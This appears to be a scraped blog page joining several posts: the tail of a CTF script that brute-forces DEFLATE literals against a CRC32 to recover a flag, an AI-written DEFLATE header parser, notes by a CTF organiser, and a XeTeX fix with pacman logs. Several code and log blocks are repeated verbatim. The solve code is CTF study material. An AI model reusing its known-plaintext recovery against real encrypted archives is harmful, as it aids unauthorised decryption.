    data = bytes(l14 if (mask >> i) & 1 else l15 for i in range(n))
    if crc32(data) == lfh2.crc32:
        bits = BitWriter()
        bits.bytes.extend(data2_head[:deflate_header_len // 8])
        bits.bit_count = deflate_header_len % 8
        if bits.bit_count != 0:
            bits.current_byte = data2_head[deflate_header_len // 8] & ((1 << bits.bit_count) - 1)
        for i in range(n):
            code = c14 if (mask >> i) & 1 else c15
            bits.write_bits(*code)
        bits.write_bits(*eob_code)
        deflated = bits.get_bytes()
        flags_flag3 = bytes(a ^ b ^ c for a, b, c in zip(
            flags_encrypted[data2_offset:],
            zip_encrypted[data2_offset:],
            deflated,
        ))
        tqdm.write(str(flags_flag3))
        match = re.search(br'flag\{.+?\}', flags_flag3)
        if match is None:
            continue
        flag3 = match.group(0).decode()
        tqdm.write(f'{flag3 = }')
        break

deflate_info = parse_deflate_dynamic_header(data2_head, 3)

litlen_tree = deflate_info['litlen_tree']
l14 = 0
l15 = 0
c14 = (0, 0)
c15 = (0, 0)
eob_code = (0, 0)
print('literal codes:')
for code, sym in litlen_tree.items():
    if sym < 256:
        print(f'{sym}: {code}')
        if code[1] == 14:
            l14 = sym
            c14 = code
        elif code[1] == 15:
            l15 = sym
            c15 = code
    elif sym == 256:
        eob_code = code

n = lfh2.uncompressed_size
deflate_header_len = deflate_info['bits_consumed'] + 3
max_total_lit_len = lfh2.compressed_size * 8 - deflate_header_len - eob_code[1]
min_total_lit_len = max_total_lit_len - 7
all_15_len = 15 * n
print(f'{min_total_lit_len = }, {all_15_len = }')
min_14_count = all_15_len - max_total_lit_len
max_14_count = all_15_len - min_total_lit_len

for mask in tqdm(range(1 << n)):
    if not min_14_count <= mask.bit_count() <= max_14_count:
        continue
    data = bytes(l14 if (mask >> i) & 1 else l15 for i in range(n))
    if crc32(data) == lfh2.crc32:
        bits = BitWriter()
        bits.bytes.extend(data2_head[:deflate_header_len // 8])
        bits.bit_count = deflate_header_len % 8
        if bits.bit_count != 0:
            bits.current_byte = data2_head[deflate_header_len // 8] & ((1 << bits.bit_count) - 1)
        for i in range(n):
            code = c14 if (mask >> i) & 1 else c15
            bits.write_bits(*code)
        bits.write_bits(*eob_code)
        deflated = bits.get_bytes()
        flags_flag3 = bytes(a ^ b ^ c for a, b, c in zip(
            flags_encrypted[data2_offset:],
            zip_encrypted[data2_offset:],
            deflated,
        ))
        tqdm.write(str(flags_flag3))
        match = re.search(br'flag\{.+?\}', flags_flag3)
        if match is None:
            continue
        flag3 = match.group(0).decode()
        tqdm.write(f'{flag3 = }')
        break

DEFLATE header 的解析是纯 AI 写的：

from typing import Tuple, Dict, List

class BitReader:
    def __init__(self, data: bytes, bitpos: int = 0):
        self.data = data
        self.bytepos = bitpos // 8
        self.bitpos = bitpos % 8  # 0..7, LSB-first within each byte (deflate)
        self.total_bits_read = bitpos

    def read_bits(self, n: int) -> int:
        """Read n bits (n <= 32) and return as integer (LSB-first)."""
        val = 0
        bits_read = 0
        while bits_read < n:
            if self.bytepos >= len(self.data):
                raise EOFError("Not enough data while reading bits")
            avail = 8 - self.bitpos
            take = min(n - bits_read, avail)
            current_byte = self.data[self.bytepos]
            # extract bits (LSB-first)
            chunk = (current_byte >> self.bitpos) & ((1 << take) - 1)
            val |= chunk << bits_read
            bits_read += take
            self.bitpos += take
            self.total_bits_read += take
            if self.bitpos == 8:
                self.bitpos = 0
                self.bytepos += 1
        return val

    def get_bitpos(self):
        return self.total_bits_read

class BitWriter:
    def __init__(self):
        self.bytes = bytearray()
        self.current_byte = 0
        self.bit_count = 0

    def write_bits(self, value: int, num_bits: int):
        for i in range(num_bits):
            bit = (value >> i) & 1
            self.current_byte |= bit << self.bit_count
            self.bit_count += 1

            if self.bit_count == 8:
                self.bytes.append(self.current_byte)
                self.current_byte = 0
                self.bit_count = 0

    def get_bytes(self) -> bytes:
        if self.bit_count > 0:
            self.bytes.append(self.current_byte)
        return bytes(self.bytes)

def reverse_bits(value: int, bitlen: int) -> int:
    """Reverse `bitlen` lowest bits of value."""
    rev = 0
    for _ in range(bitlen):
        rev = (rev << 1) | (value & 1)
        value >>= 1
    return rev

def build_canonical_huffman(code_lengths: List[int]) -> Tuple[Dict[Tuple[int,int], int], int]:
    """
    Build canonical Huffman mapping from symbol -> length to (code_rev, length) -> symbol,
    where code_rev is the integer value you'd get by reading bits LSB-first from the stream.
    Returns (mapping, max_length).
    mapping keys are (code_as_int_read_lsb_first, length) -> symbol
    """
    max_bits = max(code_lengths) if code_lengths else 0
    # Count of codes for each length
    bl_count = [0] * (max_bits + 1)
    for l in code_lengths:
        if l > 0:
            bl_count[l] += 1

    # Determine the first code for each length (canonical)
    next_code = [0] * (max_bits + 1)
    code = 0
    for bits in range(1, max_bits + 1):
        code = (code + bl_count[bits - 1]) << 1
        next_code[bits] = code

    mapping: Dict[Tuple[int,int], int] = {}
    for symbol, length in enumerate(code_lengths):
        if length != 0:
            assigned_code = next_code[length]
            next_code[length] += 1
            # canonical codes are MSB-first; but DEFLATE bitstream is LSB-first,
            # so reverse bits when storing for direct lookup of bit sequences read LSB-first.
            code_lsb_first = reverse_bits(assigned_code, length)
            mapping[(code_lsb_first, length)] = symbol

    return mapping, max_bits

# order of code length code lengths (RFC 1951 3.2.7)
CL_ORDER = [16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]

def parse_deflate_dynamic_header(data: bytes, bitpos: int = 0):
    """
    Parse a dynamic Huffman header from a deflate stream starting at given bitpos.
    Returns (litlen_tree, dist_tree, bits_consumed, nlits, ndists, code_lengths) where:
      - litlen_tree and dist_tree: mapping (code_as_int_read_lsb_first, length) -> symbol
      - bits_consumed: number of bits consumed from the starting bitpos
      - nlits: number of literal/length codes (HLIT + 257)
      - ndists: number of distance codes (HDIST + 1)
      - code_lengths: combined list of literal+distance code lengths
    """
    br = BitReader(data, bitpos)

    HLIT = br.read_bits(5)      # number of literal/length codes - 257
    HDIST = br.read_bits(5)     # number of distance codes - 1
    HCLEN = br.read_bits(4)     # number of code length codes - 4

    nlits = HLIT + 257
    ndists = HDIST + 1
    nclen = HCLEN + 4

    # read code length code lengths (3 bits each) in CL_ORDER
    cl_code_lengths = [0] * 19
    for i in range(nclen):
        val = br.read_bits(3)
        cl_code_lengths[CL_ORDER[i]] = val

    # build Huffman for code-length alphabet (symbols 0..18)
    cl_mapping, cl_maxbits = build_canonical_huffman(cl_code_lengths)

    # helper to decode one symbol from a mapping
    def decode_symbol_from_mapping(reader: BitReader, mapping: Dict[Tuple[int,int], int], max_len: int) -> int:
        """Read up to max_len bits LSB-first trying to match a (code,length) key."""
        code = 0
        for length in range(1, max_len + 1):
            b = reader.read_bits(1)
            code |= (b << (length - 1))  # accumulate LSB-first
            key = (code, length)
            if key in mapping:
                return mapping[key]
        raise ValueError("No matching Huffman code found while decoding")

    # decode the code lengths for literal/length + distance alphabets
    total_codes = nlits + ndists
    code_lengths = []
    prev_len = 0
    while len(code_lengths) < total_codes:
        sym = decode_symbol_from_mapping(br, cl_mapping, cl_maxbits)
        if 0 <= sym <= 15:
            code_lengths.append(sym)
            prev_len = sym
        elif sym == 16:
            # copy previous length 3-6 times (2 extra bits)
            if len(code_lengths) == 0:
                raise ValueError("Code 16 with no previous length")
            repeat = br.read_bits(2) + 3
            code_lengths.extend([prev_len] * repeat)
        elif sym == 17:
            # repeat zero 3-10 times (3 extra bits)
            repeat = br.read_bits(3) + 3
            code_lengths.extend([0] * repeat)
            prev_len = 0
        elif sym == 18:
            # repeat zero 11-138 times (7 extra bits)
            repeat = br.read_bits(7) + 11
            code_lengths.extend([0] * repeat)
            prev_len = 0
        else:
            raise ValueError(f"Invalid symbol in code-length alphabet: {sym}")

        # guard: don't overflow total
        if len(code_lengths) > total_codes:
            # If the header is malformed we might read too many; trim and continue
            code_lengths = code_lengths[:total_codes]

    # split into literal/length and distance code length arrays
    litlen_lengths = code_lengths[:nlits]
    dist_lengths = code_lengths[nlits:nlits+ndists]

    # build canonical Huffman trees for literal/length and distance
    litlen_tree, litlen_max = build_canonical_huffman(litlen_lengths)
    dist_tree, dist_max = build_canonical_huffman(dist_lengths)

    bits_consumed = br.get_bitpos() - bitpos
    return {
        "litlen_tree": litlen_tree,
        "litlen_max_bits": litlen_max,
        "dist_tree": dist_tree,
        "dist_max_bits": dist_max,
        "bits_consumed": bits_consumed,
        "nlits": nlits,
        "ndists": ndists,
        "litlen_lengths": litlen_lengths,
        "dist_lengths": dist_lengths
    }

def decode_symbol_from_tree(reader: BitReader, tree: Dict[Tuple[int,int], int], max_len: int) -> int:
    """
    Decode a symbol from `reader` using the provided tree mapping produced by build_canonical_huffman.
    The reader will be advanced by the number of bits used.
    """
    code = 0
    for length in range(1, max_len + 1):
        b = reader.read_bits(1)
        code |= (b << (length - 1))
        key = (code, length)
        if key in tree:
            return tree[key]
    raise ValueError("No matching code in tree")

from typing import Tuple, Dict, List

class BitReader:
    def __init__(self, data: bytes, bitpos: int = 0):
        self.data = data
        self.bytepos = bitpos // 8
        self.bitpos = bitpos % 8  # 0..7, LSB-first within each byte (deflate)
        self.total_bits_read = bitpos

    def read_bits(self, n: int) -> int:
        """Read n bits (n <= 32) and return as integer (LSB-first)."""
        val = 0
        bits_read = 0
        while bits_read < n:
            if self.bytepos >= len(self.data):
                raise EOFError("Not enough data while reading bits")
            avail = 8 - self.bitpos
            take = min(n - bits_read, avail)
            current_byte = self.data[self.bytepos]
            # extract bits (LSB-first)
            chunk = (current_byte >> self.bitpos) & ((1 << take) - 1)
            val |= chunk << bits_read
            bits_read += take
            self.bitpos += take
            self.total_bits_read += take
            if self.bitpos == 8:
                self.bitpos = 0
                self.bytepos += 1
        return val

    def get_bitpos(self):
        return self.total_bits_read

class BitWriter:
    def __init__(self):
        self.bytes = bytearray()
        self.current_byte = 0
        self.bit_count = 0

    def write_bits(self, value: int, num_bits: int):
        for i in range(num_bits):
            bit = (value >> i) & 1
            self.current_byte |= bit << self.bit_count
            self.bit_count += 1

            if self.bit_count == 8:
                self.bytes.append(self.current_byte)
                self.current_byte = 0
                self.bit_count = 0

    def get_bytes(self) -> bytes:
        if self.bit_count > 0:
            self.bytes.append(self.current_byte)
        return bytes(self.bytes)

def reverse_bits(value: int, bitlen: int) -> int:
    """Reverse `bitlen` lowest bits of value."""
    rev = 0
    for _ in range(bitlen):
        rev = (rev << 1) | (value & 1)
        value >>= 1
    return rev

def build_canonical_huffman(code_lengths: List[int]) -> Tuple[Dict[Tuple[int,int], int], int]:
    """
    Build canonical Huffman mapping from symbol -> length to (code_rev, length) -> symbol,
    where code_rev is the integer value you'd get by reading bits LSB-first from the stream.
    Returns (mapping, max_length).
    mapping keys are (code_as_int_read_lsb_first, length) -> symbol
    """
    max_bits = max(code_lengths) if code_lengths else 0
    # Count of codes for each length
    bl_count = [0] * (max_bits + 1)
    for l in code_lengths:
        if l > 0:
            bl_count[l] += 1

    # Determine the first code for each length (canonical)
    next_code = [0] * (max_bits + 1)
    code = 0
    for bits in range(1, max_bits + 1):
        code = (code + bl_count[bits - 1]) << 1
        next_code[bits] = code

    mapping: Dict[Tuple[int,int], int] = {}
    for symbol, length in enumerate(code_lengths):
        if length != 0:
            assigned_code = next_code[length]
            next_code[length] += 1
            # canonical codes are MSB-first; but DEFLATE bitstream is LSB-first,
            # so reverse bits when storing for direct lookup of bit sequences read LSB-first.
            code_lsb_first = reverse_bits(assigned_code, length)
            mapping[(code_lsb_first, length)] = symbol

    return mapping, max_bits

# order of code length code lengths (RFC 1951 3.2.7)
CL_ORDER = [16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]

def parse_deflate_dynamic_header(data: bytes, bitpos: int = 0):
    """
    Parse a dynamic Huffman header from a deflate stream starting at given bitpos.
    Returns (litlen_tree, dist_tree, bits_consumed, nlits, ndists, code_lengths) where:
      - litlen_tree and dist_tree: mapping (code_as_int_read_lsb_first, length) -> symbol
      - bits_consumed: number of bits consumed from the starting bitpos
      - nlits: number of literal/length codes (HLIT + 257)
      - ndists: number of distance codes (HDIST + 1)
      - code_lengths: combined list of literal+distance code lengths
    """
    br = BitReader(data, bitpos)

    HLIT = br.read_bits(5)      # number of literal/length codes - 257
    HDIST = br.read_bits(5)     # number of distance codes - 1
    HCLEN = br.read_bits(4)     # number of code length codes - 4

    nlits = HLIT + 257
    ndists = HDIST + 1
    nclen = HCLEN + 4

    # read code length code lengths (3 bits each) in CL_ORDER
    cl_code_lengths = [0] * 19
    for i in range(nclen):
        val = br.read_bits(3)
        cl_code_lengths[CL_ORDER[i]] = val

    # build Huffman for code-length alphabet (symbols 0..18)
    cl_mapping, cl_maxbits = build_canonical_huffman(cl_code_lengths)

    # helper to decode one symbol from a mapping
    def decode_symbol_from_mapping(reader: BitReader, mapping: Dict[Tuple[int,int], int], max_len: int) -> int:
        """Read up to max_len bits LSB-first trying to match a (code,length) key."""
        code = 0
        for length in range(1, max_len + 1):
            b = reader.read_bits(1)
            code |= (b << (length - 1))  # accumulate LSB-first
            key = (code, length)
            if key in mapping:
                return mapping[key]
        raise ValueError("No matching Huffman code found while decoding")

    # decode the code lengths for literal/length + distance alphabets
    total_codes = nlits + ndists
    code_lengths = []
    prev_len = 0
    while len(code_lengths) < total_codes:
        sym = decode_symbol_from_mapping(br, cl_mapping, cl_maxbits)
        if 0 <= sym <= 15:
            code_lengths.append(sym)
            prev_len = sym
        elif sym == 16:
            # copy previous length 3-6 times (2 extra bits)
            if len(code_lengths) == 0:
                raise ValueError("Code 16 with no previous length")
            repeat = br.read_bits(2) + 3
            code_lengths.extend([prev_len] * repeat)
        elif sym == 17:
            # repeat zero 3-10 times (3 extra bits)
            repeat = br.read_bits(3) + 3
            code_lengths.extend([0] * repeat)
            prev_len = 0
        elif sym == 18:
            # repeat zero 11-138 times (7 extra bits)
            repeat = br.read_bits(7) + 11
            code_lengths.extend([0] * repeat)
            prev_len = 0
        else:
            raise ValueError(f"Invalid symbol in code-length alphabet: {sym}")

        # guard: don't overflow total
        if len(code_lengths) > total_codes:
            # If the header is malformed we might read too many; trim and continue
            code_lengths = code_lengths[:total_codes]

    # split into literal/length and distance code length arrays
    litlen_lengths = code_lengths[:nlits]
    dist_lengths = code_lengths[nlits:nlits+ndists]

    # build canonical Huffman trees for literal/length and distance
    litlen_tree, litlen_max = build_canonical_huffman(litlen_lengths)
    dist_tree, dist_max = build_canonical_huffman(dist_lengths)

    bits_consumed = br.get_bitpos() - bitpos
    return {
        "litlen_tree": litlen_tree,
        "litlen_max_bits": litlen_max,
        "dist_tree": dist_tree,
        "dist_max_bits": dist_max,
        "bits_consumed": bits_consumed,
        "nlits": nlits,
        "ndists": ndists,
        "litlen_lengths": litlen_lengths,
        "dist_lengths": dist_lengths
    }

def decode_symbol_from_tree(reader: BitReader, tree: Dict[Tuple[int,int], int], max_len: int) -> int:
    """
    Decode a symbol from `reader` using the provided tree mapping produced by build_canonical_huffman.
    The reader will be advanced by the number of bits used.
    """
    code = 0
    for length in range(1, max_len + 1):
        b = reader.read_bits(1)
        code |= (b << (length - 1))
        key = (code, length)
        if key in tree:
            return tree[key]
    raise ValueError("No matching code in tree")

事故

非常抱歉，计算 flag 1 放置位置的代码写挂了（

我一直以为先交 2/3 的是在屯，快到第二阶段才想到去检查一下附件，也没注意 flag 提交记录里的半截 flag（

这 Python 太坏了，要是 Rust 早发现了（

梗指南

这次我自己的两道题没什么梗（除了稍微模仿了一下某电子身份服务系统），但我参与了一些其他题面编写：

【开源论文太少了！】的八岐大蛇部分
【提权潜兵 · 新指导版】彩蛋的光敏性癫痫警告
【传统 C 语言核易危】的题目名、“核已畏”图片、技能五子棋
【我放弃了一 key 到底】的梗是出题人选的，我改了一下缝法
【千年讲堂的方形轮子 II】的整个题面
【高级剪切几何】修改了一下出题人一开始的表述

其中，【千年讲堂的方形轮子 II】缝了一些虹梗：

『愛♡スクリ～ム！』的歌词不必多说（本来想让 You 酱作为あなた，但不好缝）
You 酱在最后一句差点说出了ヒ字真言，但及时打住了；这个「ﾋ」还长得很像半个“比”（
You 酱的名字有渐变色，这次的颜色比起第零届稍微调了一点，适配了暗色模式
“黑客（A.L.A.N）”中的“A.L.A.N”是虹咲完结篇第二章 PV 里的角色

DEF CON CTF Quals 2025 memorybank Write-Up: Investigating V8 Garbage Collector

Sat, 10 May 2025 07:49:30 GMT

Write-up for memorybank in DEF CON CTF Quals 2025. Particularly:

Why random username?
Why setTimeout?
Why large signature?
Why Uint8Array?

修复 XeTeX 更新导致编译错误

Thu, 20 Mar 2025 14:18:09 GMT

毕设又咕了几周，今天一看编译出错（

This is XeTeX, Version 3.141592653-2.6-0.999997 (TeX Live 2025/Arch Linux) (preloaded format=xetex)
 restricted \write18 enabled.
---! /var/lib/texmf/web2c/xetex/xetex.fmt made by different executable version, strings are different
(Fatal format file error; I'm stymied)

This is XeTeX, Version 3.141592653-2.6-0.999997 (TeX Live 2025/Arch Linux) (preloaded format=xetex)
 restricted \write18 enabled.
---! /var/lib/texmf/web2c/xetex/xetex.fmt made by different executable version, strings are different
(Fatal format file error; I'm stymied)

tl;dr

sudo pacman -S texlive-xetex

问 GPT

先去问了下 GPT，它让我 sudo rm /var/lib/texmf/web2c/xetex/xetex.fmt 然后 sudo fmtutil-sys --all 或者 sudo fmtutil-sys --byfmt xetex。当然是没用的，因为此时我没有安装 texlive-xetex（

后来我自己发现问题了，但如果再告诉 GPT Did not find entry for byfmt=xetex skipped 应该可以省几分钟。

问题分析

首先是在 2023 年，Arch Linux 把 TeX Live 拆包了：TeX Live package reorganization。此事在我的 /var/log/pacman.log 中记载如下：

[2023-06-18T19:25:40+0800] [PACMAN] Running 'pacman -S texlive-binextra'
[2023-06-18T19:25:47+0800] [ALPM] transaction started
[2023-06-18T19:25:47+0800] [ALPM] installed texlive-binextra (2023.66594-11)
[2023-06-18T19:25:47+0800] [ALPM] transaction completed
[2023-06-18T19:25:47+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:25:47+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:25:48+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-18T19:25:48+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:36:40+0800] [PACMAN] Running 'pacman --noconfirm --color=always -Sy'
[2023-06-18T19:36:40+0800] [PACMAN] synchronizing package lists
[2023-06-18T19:36:42+0800] [PACMAN] Running 'pacman --color=always -Su'
[2023-06-18T19:36:42+0800] [PACMAN] starting full system upgrade
[2023-06-18T19:36:45+0800] [PACMAN] Running 'pacman -S texlive-xetex'
[2023-06-18T19:37:14+0800] [ALPM] transaction started
[2023-06-18T19:37:14+0800] [ALPM] installed texlive-xetex (2023.66594-11)
[2023-06-18T19:37:14+0800] [ALPM] transaction completed
[2023-06-18T19:37:14+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:37:14+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:37:14+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-18T19:37:15+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:38:30+0800] [PACMAN] Running 'pacman -Rns texlive-xetex'
[2023-06-18T19:38:31+0800] [ALPM] transaction started
[2023-06-18T19:38:31+0800] [ALPM] removed texlive-xetex (2023.66594-11)
[2023-06-18T19:38:32+0800] [ALPM] transaction completed
[2023-06-18T19:38:32+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:38:32+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:38:32+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-18T19:38:32+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:50:37+0800] [PACMAN] Running 'pacman --noconfirm --color=always -Sy'
[2023-06-18T19:50:37+0800] [PACMAN] synchronizing package lists
[2023-06-18T19:50:40+0800] [PACMAN] Running 'pacman --color=always -Su'
[2023-06-18T19:50:40+0800] [PACMAN] starting full system upgrade
[2023-06-18T19:50:43+0800] [PACMAN] Running 'pacman -S texlive-meta'
[2023-06-18T19:51:29+0800] [ALPM] transaction started
[2023-06-18T19:51:29+0800] [ALPM] installed texlive-bibtexextra (2023.66594-11)
[2023-06-18T19:51:29+0800] [ALPM] installed texlive-context (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-fontsextra (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-fontutils (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-formatsextra (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-games (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-humanities (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-luatex (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-metapost (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-music (2023.66594-11)
[2023-06-18T19:51:38+0800] [ALPM] installed texlive-plaingeneric (2023.66594-11)
[2023-06-18T19:51:38+0800] [ALPM] installed texlive-pstricks (2023.66594-11)
[2023-06-18T19:51:38+0800] [ALPM] installed texlive-publishers (2023.66594-11)
[2023-06-18T19:51:38+0800] [ALPM] installed texlive-xetex (2023.66594-11)
[2023-06-18T19:51:38+0800] [ALPM] installed texlive-meta (2023.66594-11)
[2023-06-18T19:51:38+0800] [ALPM] transaction completed
[2023-06-18T19:51:40+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:51:40+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:51:42+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-18T19:51:43+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:53:03+0800] [ALPM] running '73-texlive-updmap.hook'...
[2023-06-18T19:53:03+0800] [ALPM-SCRIPTLET] updmap [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:54:14+0800] [PACMAN] Running 'pacman -Rns texlive-meta'
[2023-06-18T19:54:15+0800] [ALPM] transaction started
[2023-06-18T19:54:15+0800] [ALPM] removed texlive-meta (2023.66594-11)
[2023-06-18T19:54:16+0800] [ALPM] removed texlive-xetex (2023.66594-11)
[2023-06-18T19:54:16+0800] [ALPM] removed texlive-publishers (2023.66594-11)
[2023-06-18T19:54:16+0800] [ALPM] removed texlive-pstricks (2023.66594-11)
[2023-06-18T19:54:17+0800] [ALPM] removed texlive-plaingeneric (2023.66594-11)
[2023-06-18T19:54:17+0800] [ALPM] removed texlive-music (2023.66594-11)
[2023-06-18T19:54:17+0800] [ALPM] removed texlive-metapost (2023.66594-11)
[2023-06-18T19:54:17+0800] [ALPM] removed texlive-luatex (2023.66594-11)
[2023-06-18T19:54:18+0800] [ALPM] removed texlive-latexextra (2023.66594-11)
[2023-06-18T19:54:18+0800] [ALPM] removed texlive-latexrecommended (2023.66594-11)
[2023-06-18T19:54:18+0800] [ALPM] removed texlive-humanities (2023.66594-11)
[2023-06-18T19:54:18+0800] [ALPM] removed texlive-games (2023.66594-11)
[2023-06-18T19:54:18+0800] [ALPM] removed texlive-formatsextra (2023.66594-11)
[2023-06-18T19:54:18+0800] [ALPM] removed texlive-fontutils (2023.66594-11)
[2023-06-18T19:54:21+0800] [ALPM] removed texlive-fontsextra (2023.66594-11)
[2023-06-18T19:54:22+0800] [ALPM] removed texlive-context (2023.66594-11)
[2023-06-18T19:54:22+0800] [ALPM] removed texlive-bibtexextra (2023.66594-11)
[2023-06-18T19:54:22+0800] [ALPM] transaction completed
[2023-06-18T19:54:24+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:54:24+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:54:24+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-18T19:54:24+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:54:46+0800] [ALPM] running '73-texlive-updmap.hook'...
[2023-06-18T19:54:46+0800] [ALPM-SCRIPTLET] updmap [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:55:28+0800] [PACMAN] Running 'pacman --noconfirm --color=always -Sy'
[2023-06-18T19:55:28+0800] [PACMAN] synchronizing package lists
[2023-06-18T19:55:30+0800] [PACMAN] Running 'pacman --color=always -Su'
[2023-06-18T19:55:30+0800] [PACMAN] starting full system upgrade
[2023-06-18T19:55:33+0800] [PACMAN] Running 'pacman -S texlive-latexrecommended'
[2023-06-18T19:55:34+0800] [ALPM] transaction started
[2023-06-18T19:55:34+0800] [ALPM] installed texlive-latexrecommended (2023.66594-11)
[2023-06-18T19:55:34+0800] [ALPM] transaction completed
[2023-06-18T19:55:34+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:55:34+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:55:43+0800] [PACMAN] Running 'pacman --noconfirm --color=always -Sy'
[2023-06-18T19:55:43+0800] [PACMAN] synchronizing package lists
[2023-06-18T19:55:46+0800] [PACMAN] Running 'pacman --color=always -Su'
[2023-06-18T19:55:46+0800] [PACMAN] starting full system upgrade
[2023-06-18T19:55:48+0800] [PACMAN] Running 'pacman -S texlive-latexextra'
[2023-06-18T19:55:49+0800] [ALPM] transaction started
[2023-06-18T19:55:50+0800] [ALPM] installed texlive-latexextra (2023.66594-11)
[2023-06-18T19:55:50+0800] [ALPM] transaction completed
[2023-06-18T19:55:50+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:55:50+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:55:50+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-18T19:55:51+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:56:31+0800] [ALPM] running '73-texlive-updmap.hook'...

[2023-06-18T19:25:40+0800] [PACMAN] Running 'pacman -S texlive-binextra'
[2023-06-18T19:25:47+0800] [ALPM] transaction started
[2023-06-18T19:25:47+0800] [ALPM] installed texlive-binextra (2023.66594-11)
[2023-06-18T19:25:47+0800] [ALPM] transaction completed
[2023-06-18T19:25:47+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:25:47+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:25:48+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-18T19:25:48+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:36:40+0800] [PACMAN] Running 'pacman --noconfirm --color=always -Sy'
[2023-06-18T19:36:40+0800] [PACMAN] synchronizing package lists
[2023-06-18T19:36:42+0800] [PACMAN] Running 'pacman --color=always -Su'
[2023-06-18T19:36:42+0800] [PACMAN] starting full system upgrade
[2023-06-18T19:36:45+0800] [PACMAN] Running 'pacman -S texlive-xetex'
[2023-06-18T19:37:14+0800] [ALPM] transaction started
[2023-06-18T19:37:14+0800] [ALPM] installed texlive-xetex (2023.66594-11)
[2023-06-18T19:37:14+0800] [ALPM] transaction completed
[2023-06-18T19:37:14+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:37:14+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:37:14+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-18T19:37:15+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:38:30+0800] [PACMAN] Running 'pacman -Rns texlive-xetex'
[2023-06-18T19:38:31+0800] [ALPM] transaction started
[2023-06-18T19:38:31+0800] [ALPM] removed texlive-xetex (2023.66594-11)
[2023-06-18T19:38:32+0800] [ALPM] transaction completed
[2023-06-18T19:38:32+0800] [ALPM] running '30-systemd-update.hook'...
[2023-06-18T19:38:32+0800] [ALPM] running '70-mktexlsr.hook'...
[2023-06-18T19:38:32+0800] [ALPM] running '72-texlive-fmtutil.hook'...
[2023-06-18T19:38:32+0800] [ALPM-SCRIPTLET] fmtutil [WARNING]: resetting $HOME value (was /home/ouuan) to root's actual home (/root).
[2023-06-18T19:50:37+0800] [PACMAN] Running 'pacman --noconfirm --color=always -Sy'
[2023-06-18T19:50:37+0800] [PACMAN] synchronizing package lists
[2023-06-18T19:50:40+0800] [PACMAN] Running 'pacman --color=always -Su'
[2023-06-18T19:50:40+0800] [PACMAN] starting full system upgrade
[2023-06-18T19:50:43+0800] [PACMAN] Running 'pacman -S texlive-meta'
[2023-06-18T19:51:29+0800] [ALPM] transaction started
[2023-06-18T19:51:29+0800] [ALPM] installed texlive-bibtexextra (2023.66594-11)
[2023-06-18T19:51:29+0800] [ALPM] installed texlive-context (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-fontsextra (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-fontutils (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-formatsextra (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-games (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-humanities (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-luatex (2023.66594-11)
[2023-06-18T19:51:37+0800] [ALPM] installed texlive-metapost (2023.66594-11)
